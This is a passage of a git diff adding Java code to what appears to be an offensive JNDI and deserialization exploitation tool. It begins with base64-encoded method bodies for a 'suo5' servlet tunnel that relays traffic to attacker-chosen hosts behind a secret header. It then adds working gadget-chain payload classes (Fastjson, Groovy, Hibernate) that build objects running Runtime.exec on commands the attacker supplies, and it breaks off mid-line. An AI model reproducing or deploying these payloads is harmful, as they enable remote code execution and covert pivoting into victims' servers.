"cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmIChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9"; + + // suo5 readSocket 方法,需要 marshal newData + public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ=="; + + // suo5 readInputStreamWithTimeout 方法 + public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = "cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0="; + + // suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法 + public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ=="; + + // suo5 readReq 方法,需要 unmarshal 方法 + public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0="; + + // suo5 processDataUnary 方法,需要 unmarshal,marshal,readSocket,newStatus,newDel + public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0="; + + // suo5 processDataBio 方法,需要 unmarshal,readReq,newStatus,marshal,setStream 方法 + public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0="; + + // suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法 + public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9"; + + // run 方法,需要 readSocket 方法,需要 Field gInStream,gOutStream + public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/DynamicDependencies.java b/src/main/java/com/qi4l/jndi/gadgets/DynamicDependencies.java new file mode 100644 index 00000000..2925d90f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/DynamicDependencies.java @@ -0,0 +1,4 @@ +package com.qi4l.jndi.gadgets; + +public interface DynamicDependencies { +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Fastjson1.java b/src/main/java/com/qi4l/jndi/gadgets/Fastjson1.java new file mode 100644 index 00000000..b5795ec1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Fastjson1.java @@ -0,0 +1,45 @@ +package com.qi4l.jndi.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +public class Fastjson1 implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); + clazz.setSuperclass(superClass); + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); + constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); + clazz.addConstructor(constructor); + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(templates); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + return val; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Fastjson2.java b/src/main/java/com/qi4l/jndi/gadgets/Fastjson2.java new file mode 100644 index 00000000..4c03c975 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Fastjson2.java @@ -0,0 +1,45 @@ +package com.qi4l.jndi.gadgets; + +import com.alibaba.fastjson2.JSONArray; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +public class Fastjson2 implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); + clazz.setSuperclass(superClass); + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); + constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); + clazz.addConstructor(constructor); + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(templates); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + return val; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Groovy1.java b/src/main/java/com/qi4l/jndi/gadgets/Groovy1.java new file mode 100644 index 00000000..b1404124 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Groovy1.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * PriorityQueue.readObject() + * Comparator.compare() (Proxy) + * ConvertedClosure.invoke() + * MethodClosure.call() + * ... + * Method.invoke() + * Runtime.exec() + * + * Requires: + * groovy + */ +@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) +@Authors({Authors.FROHOFF}) +public class Groovy1 implements ObjectPayload { + + public InvocationHandler getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + + final Map map = Gadgets.createProxy(closure, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); + + return handler; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Hibernate1.java b/src/main/java/com/qi4l/jndi/gadgets/Hibernate1.java new file mode 100644 index 00000000..95536473 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Hibernate1.java @@ -0,0 +1,183 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.hibernate.EntityMode; +import org.hibernate.engine.spi.TypedValue; +import org.hibernate.tuple.component.AbstractComponentTuplizer; +import org.hibernate.tuple.component.PojoComponentTuplizer; +import org.hibernate.type.AbstractType; +import org.hibernate.type.ComponentType; +import org.hibernate.type.Type; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + * + * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * @author mbechler + */ +@Authors({Authors.MBECHLER}) +public class Hibernate1 implements ObjectPayload, DynamicDependencies{ + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } + + public static String[] getDependencies() { + if (System.getProperty("hibernate5") != null) { + return new String[]{ + "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2" + }; + } + + return new String[]{ + "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" + }; + + } + + + public static Object makeGetter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { + if (System.getProperty("hibernate5") != null) { + return makeHibernate5Getter(tplClass, method); + } + return makeHibernate4Getter(tplClass, method); + } + + + public static Object makeHibernate4Getter(Class tplClass, String method) throws ClassNotFoundException, NoSuchMethodException, + SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); + Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); + Reflections.setAccessible(bgCon); + + if (!method.startsWith("get")) { + throw new IllegalArgumentException("Hibernate4 can only call getters"); + } + + String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); + + Object g = bgCon.newInstance(tplClass, 